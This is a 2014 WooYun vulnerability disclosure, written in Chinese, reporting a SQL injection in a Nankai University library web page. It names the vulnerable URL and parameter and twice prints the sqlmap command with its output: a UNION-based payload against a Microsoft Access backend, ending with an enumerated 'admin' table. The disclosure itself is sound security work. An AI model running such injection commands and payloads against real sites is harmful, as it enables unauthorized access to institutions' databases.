当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069567

漏洞标题:南开大学分站sql注入3

相关厂商:nankai.edu.cn

漏洞作者: scanf

提交时间:2014-07-24 17:02

修复时间:2014-09-07 17:04

公开时间:2014-09-07 17:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-24: 细节已通知厂商并且等待厂商处理中
2014-07-25: 厂商已经确认,细节仅向厂商公开
2014-08-04: 细节向核心白帽子及相关领域专家公开
2014-08-14: 细节向普通白帽子公开
2014-08-24: 细节向实习白帽子公开
2014-09-07: 细节向公众公开

简要描述:

...........管理员叔叔我又来了.

详细说明:

注入点:http://www2.lib.nankai.edu.cn/nav/Chinese/show/data_detail.asp?name=

[wooyun@scanf~]# Sqlmap -u "http://www2.lib.nankai.edu.cn/nav/Chinese/show/data_
detail.asp?name=" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:51:02
[16:51:03] [INFO] resuming back-end DBMS 'microsoft access'
[16:51:03] [INFO] testing connection to the target URL
[16:51:03] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: name
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: name=' UNION ALL SELECT NULL,NULL,CHR(113)&CHR(97)&CHR(112)&CHR(110
)&CHR(113)&CHR(98)&CHR(117)&CHR(80)&CHR(75)&CHR(101)&CHR(74)&CHR(115)&CHR(117)&C
HR(113)&CHR(115)&CHR(113)&CHR(97)&CHR(108)&CHR(103)&CHR(113),NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[16:51:03] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP
back-end DBMS: Microsoft Access
[16:51:03] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[16:51:04] [WARNING] the SQL query provided does not return any output
[16:51:04] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[16:51:04] [ERROR] cannot retrieve table names, back-end DBMS is Access
Database: Microsoft_Access_masterdb
[1 table]
+-------+
| admin |
+-------+
[16:51:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[16:51:04] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www2.lib.nankai.edu.cn'
[*] shutting down at 16:51:04

漏洞证明:

注入点:http://www2.lib.nankai.edu.cn/nav/Chinese/show/data_detail.asp?name=

[wooyun@scanf~]# Sqlmap -u "http://www2.lib.nankai.edu.cn/nav/Chinese/show/data_
detail.asp?name=" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:51:02
[16:51:03] [INFO] resuming back-end DBMS 'microsoft access'
[16:51:03] [INFO] testing connection to the target URL
[16:51:03] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: name
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: name=' UNION ALL SELECT NULL,NULL,CHR(113)&CHR(97)&CHR(112)&CHR(110
)&CHR(113)&CHR(98)&CHR(117)&CHR(80)&CHR(75)&CHR(101)&CHR(74)&CHR(115)&CHR(117)&C
HR(113)&CHR(115)&CHR(113)&CHR(97)&CHR(108)&CHR(103)&CHR(113),NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[16:51:03] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP
back-end DBMS: Microsoft Access
[16:51:03] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[16:51:04] [WARNING] the SQL query provided does not return any output
[16:51:04] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[16:51:04] [ERROR] cannot retrieve table names, back-end DBMS is Access
Database: Microsoft_Access_masterdb
[1 table]
+-------+
| admin |
+-------+
[16:51:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[16:51:04] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www2.lib.nankai.edu.cn'
[*] shutting down at 16:51:04

修复方案:

图书馆为什么用的access数据库真是奇怪!
过滤吧

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-07-25 10:21

厂商回复:

通知用户处理中

最新状态:

暂无


漏洞评价:

评论